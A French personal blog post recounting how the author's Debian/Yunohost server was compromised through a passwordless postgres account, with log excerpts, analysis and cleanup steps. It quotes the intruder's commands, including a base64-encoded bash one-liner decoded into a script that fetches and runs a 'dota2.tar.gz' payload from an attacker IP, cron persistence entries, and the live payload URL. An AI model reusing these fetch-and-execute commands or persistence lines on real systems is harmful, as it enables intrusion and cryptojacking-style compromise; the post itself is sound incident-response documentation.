http://daffyduke.lautre.net/spip/?Histoire-d-un-piratage

Histoire d'un piratage

- 1- Blog-Notes - A la maison -

Date de mise en ligne : dimanche 14 juillet 2019

Ce matin, au réveil, après avoir passé une soirée de remise en route de la messagerie sur mon Kimsufi, quelle ne fut pas ma surprise avec le mail suivant :

```
 *** SECURITY information for .kimsufi.com ***
Date: Sat, 13 Jul 2019 05:20:34 +0200 (CEST) .kimsufi.com : Jul 13 05:20:33 : postgres : user NOT in
sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/dev/shm/.satan
```

Waw ! stupeur. D'abord, première réaction : "punaise, ils sont de mieux en mieux faits les spams de nos jours !" Je regarde l'en-tête, tout ce qui a l'air de plus légal. Alors, regardons ça de plus près. postgres, c'est probablement l'utilisateur de postgresql, je ne me souviens pas trop à quoi il sert mais en effet, ça fait un moment que mon outil de vérification des services cassés me le signale, je le redémarre quand j'y pense. Clairement, ce .satan semble très étrange mais rkhunter ne s'est pas plaint. lynis non plus. Poursuivons.

Analyses

Mon moteur de recherche préféré signale quelqu'un ayant eu une attaque similaire : https://social.imirhil.fr/@aeris/101864561434132681
Moi aussi, je découvre ce `.firefoxcatche`. Je découvre aussi un répertoire `.ssh` à côté. Bizarre, je ne me souviens pas de ça. Et là, j'épluche les logs. C'est là que snoopy va m'aider.

```
 auth.log:Jul  9 09:35:40 snoopy[22194]: [uid:127 sid:22194 tty:(none) cwd:/var/lib/postgresql
filename:/bin/bash]: bash -c cd /dev/shm; rm -rf .satan*; wget -w 1 -T 10 -t 5 -q 54.37.70.249/.satan;
chmod 777 .satan
auth.log:Jul  9 09:35:40 sshd[21969]: Close session: user postgres from 186.3.234.169 port 33820 id 1
auth.log:Jul  9 09:35:41 sshd[21969]: Starting session: command for postgres from 186.3.234.169 port 33820
id 0
```

Ha ! Là, c'est clair. Mais alors, que fait mon google-authenticator ? Il m'a bien demandé un code pour ma propre connexion. J'essaye sur postgres. Stuper, le login se fait sans authentification ni mot de passe ni clé. OK, la machine est compromise.

Réfléchissions, si je me fais voir, il va prendre peur et peut-être tout casser. Je continue à analyser sans rien couper.

OK, dans les logs, je vois des accès de cron :

```
 auth.log:Jul 10 21:13:55 snoopy[24068]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql
filename:/bin/cat]: cat dir.dir
auth.log:Jul 10 21:13:56 snoopy[24069]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps
auth.log:Jul 10 21:13:56 snoopy[24070]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps.*
auth.log:Jul 10 21:13:56 snoopy[24071]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab cron.d
auth.log:Jul 10 21:13:56 snoopy[24072]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab -l
```

je vois aussi des accès à systemd, mais difficile de savoir de quoi il s'agit. Ca tombe pile pendant une opération de maintenance de ma part.

```
 auth.log:Jul 10 19:30:32 snoopy[19720]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s
/lib/systemd/system/postgresql@.service
/run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service
auth.log:Jul 10 19:30:50 snoopy[19784]: [uid:0 sid:1 tty:(none) cwd:/
filename:/lib/systemd/system-generators/postgresql-generator]:
/lib/systemd/system-generators/postgresql-generator /run/systemd/generator /run/systemd/generator.early
/run/systemd/generator.late
auth.log:Jul 10 19:30:50 snoopy[19792]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/mkdir]: mkdir -p
/run/systemd/generator/postgresql.service.wants
auth.log:Jul 10 19:30:51 snoopy[19794]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/sed]: sed s/#.*$//;
/^[[:space:]]*$/d; s/^\s*//; s/\s*$// /etc/postgresql/9.6/main/start.conf
auth.log:Jul 10 19:30:51 snoopy[19796]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s
/lib/systemd/system/postgresql@.service
/run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service
```

J'ai encore un peu de mal à savoir si c'est "lui" ou "moi". Si c'est l'autre, c'est uid:0 donc root, donc c'est vraiment grave. Le stress monte.

En effet, il y a quelque chose en cron :

```
 # DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Wed Jul 10 21:22:58 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
0 0 */3 * * /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X15-unix/.rsync/c/aptitude>/dev/null 2>&1
```

Comprendre. Ce n'est pas moi sur ce créneau horaire, ça colle avec les logs, il ne faut pas rebooter, il y a d'autres répertoires pourris : /tmp/.X15-unix .
Là dedans, je trouve un tar.gz, un script rsync, des binaires comme ps ou kill.

OK, ça doit expliquer pourquoi je ne vois pas, ça a été remplacé ?
Un ps me montre que le process rsync tourne et c'est tout, rien à côté. Ce n'est donc pas le rsync que je connais.
J'en profite pour réinstaller procutils après avoir vérifié que :
– la conf apt n'a pas été altérée récemment
– aucun fichier de configuration ne semble avoir été modifié récemment de façon illégitime. Mais c'est difficile à dire. le git log et les diff de toutes parts montrent bien qu'entre le premier login anormal distant et maintenant des tas de fichiers ont été modifiés. Normal, il y a eu une mise à jour de la Debian, une mise à jour majeur de Yunohost et surtout la migration de la configuration ssh de root vers admin.

Je trouve curieux que postgre ait un shell valide, je pop vite fait une debian pour y mettre un postgresql-server, pareil. Et l'utilisateur n'a a priori pas de mot de passe. Pareil donc, la faille ne vient pas de là, pas encore.

Je ne retrouve pas la clé SSH chez moi, les IP viennent de l'Equateur et de l'Inde.

Je ne retrouve pas de configuration systemd.

Les logs laissent penser que ce n'est pas un humain par leur quantité sur le temps imparti et les commandes exécutées.

```
 auth.log:Jul 10 21:10:40 snoopy[23201]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync
filename:/bin/rm]: rm -rf /var/lib/postgresql/.ttp
auth.log:Jul 10 21:10:40 snoopy[23202]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync
filename:/bin/rm]: rm -rf /var/lib/postgresql/.firefoxcatche
auth.log:Jul 10 21:10:40 snoopy[23203]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync
filename:/bin/mkdir]: mkdir /var/lib/postgresql/.firefoxcatche
auth.log:Jul 10 21:10:40 snoopy[23204]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync
filename:/bin/cp]: cp -r a /var/lib/postgresql/.firefoxcatche/
auth.log:Jul 10 21:10:40 snoopy[23205]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync
filename:/bin/cp]: cp -r b /var/lib/postgresql/.firefoxcatche/
auth.log:Jul 10 21:10:40 snoopy[23207]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche/a filename:/bin/sleep]: sleep 5s
auth.log:Jul 10 21:10:40 snoopy[23206]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./init0
auth.log:Jul 10 21:10:45 snoopy[23214]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a
auth.log:Jul 10 21:10:45 snoopy[23213]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a
auth.log:Jul 10 21:10:45 snoopy[23215]: [uid:127 sid:22226 tty:(none)
cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/cat]: cat dir2.dir
```

Mais là ça devient intéressant :

```
 auth.log:Jul 13 05:20:13 snoopy[16816]: [uid:127 sid:16816 tty:(none) cwd:/var/lib/postgresql
filename:/bin/bash]: bash -c cd /var/tmp; echo
"IyEvYmluL2Jhc2gKY2QgL3RtcApybSAtcmYgLlgxNS11bml4Cm1rZGlyIC5YMTUtdW5peApjZCAuWDE1LXVuaXgKcGtpbGwgLTkgY3Jvbi
A+IC5vdXQKd2dldCAtcSBodHRwOi8vNTQuMzcuNzAuMjQ5L2RvdGEyLnRhci5neiB8fCBjdXJsIC1PIC1mIGh0dHA6Ly81NC4zNy43MC4yN
DkvZG90YTIudGFyLmd6CnNsZWVwIDdzICYmIHRhciB4ZiBkb3RhMi50YXIuZ3oKI3JtIC1yZiBkb3RhMi50YXIuZ3oKY2QgLnJzeW5jCmNo
bW9kIDc3NyAqCmNkIC90bXAvLlgxNS11bml4Ly5yc3luYy9hICYmIC4vY3JvbiB8fCAuL2FuYWNyb24KZXhpdCAw" | base64 --decode
| bash
auth.log:Jul 13 05:20:16 sshd[16814]: Starting session: command for postgres from 202.91.82.54 port 33519
id 1
```

Je vous le décode pour vous :

```
 #!/bin/bash
cd /tmp
rm -rf .X15-unix
mkdir .X15-unix
cd .X15-unix
pkill -9 cron > .out
wget -q http://54.37.70.249/dota2.tar.gz || curl -O -f http://54.37.70.249/dota2.tar.gz
sleep 7s && tar xf dota2.tar.gz
#rm -rf dota2.tar.gz
cd .rsync
chmod 777 *
cd /tmp/.X15-unix/.rsync/a && ./cron || ./anacron
```

Je fais le curl au même endroit, ça pourra aider pour la suite.

Le .rsync est fait un script perl en base64 qui écoute en https.

Remédiation

J'oubliais de préciser. Entre temps, la mise à jour de procps a vraiment fait monter en I/O le serveur, l'accès SSH semble cassé.

Via l'interface web de Yunohost, j'arrête SSH purement est simplement. J'ai alors des alertes systèmes et d'indispo de la part du monitoring OVH, je prends peut, j'avoue, et je démarre la machine en mode rescue.

A supposer que des mots de passe soient compromis, je récupère les accès modifie les mots de passe de messagerie et supprime les mails reçus qui indiqueraient à l'attaquant comment accéder au mode rescue. Après, ça n'eclue rien , mais je me félicite d'y avoir pensé sur le moment.

Je prends le temps d'analyser le contenu du data2.tar.gz

C'est un truc de script kiddie.

La chaîne du .rsync se retrouve sur un site de machines compromises (la mienne n'y est pas encore) : http://threatwar.com/ssh/commands

Des gros finds sur l'uid 127 ne semblent pas confirmer la présence d'autres fichiers.

Je me contente de supprimer les répertoires critiques dans /var/lib/postgresql, dans /var/tmp, dans /tmp. Je dégage la cron. J'en profite pour n'autoriser qu'un seul utilisateur dans la configuration sshd.

Et je reboot.

Une fois online, je modifie le mot de passe de postgres (vu qu'on voit bien qu'il a été modifié dans les logs de snoopy), j'éteins postgresql, je désactive le compte.

Post analyses

Déjà, pas de nouvelles tentatives dans les logs d’authentification.

fail2ban a bien fait son travail mais vu qu'il n'y a pas assez de tentatives .... J'en conclue que la faille devait être connue sur un mot de passe postgresql faibles sur debian (avec yunohost ?).

Tous les services ont un comportement normal, les données n'ont pas été altérées. Volées ? Difficile à dire.

La lecture du data2.tar.gz est décidément instructif.

Je regarde ce qu'il y a dans cette instance postgresql. Conclusion, ce serveur ne sert plus rien. Pas de bases de données, aucune application ne semble y accéder, à l'inverse toutes les applications semblent trouver leur bases dans le mariadb à côté.

Je supprime donc toute trace de postgresql : packages et user.

Et j'observe. régulièrement. lnav en permanence.

Conclusion

OK, cette machine n'est pas forcément une crème de la sécurité mais si on se dit que
– l'OS est globalement à jour à la semaine près, tous les paquets debian aus
– nombre des recommandations de lynis ont été appliquées (sshd, nginx, ...)
– lynis, rkhunter, fail2ban sont installés
– iptables est configuré et démarré et n'autorise que les ports légitimes
– il y a une double authentification sur l'accès SSH

et pourtant la machine a été compromise ! et grossièrement !
 Cela signifie peut-être qu'il y a autre chose, certes. Je n'ai pas encore pris le temps pour cela. Mais cela signifie surtout qu'il faut toujours rester vigilant.

Annexes

Le code est ici
 https://www.hybrid-analysis.com/sam...

http://54.37.70.249/dota2.tar.gz

Les IP sources :

```
grep sshd auth.log* | grep postgres | grep Start | awk '{print $12}' | sort | uniq -c
    26 186.3.234.169
    26 202.91.82.54
```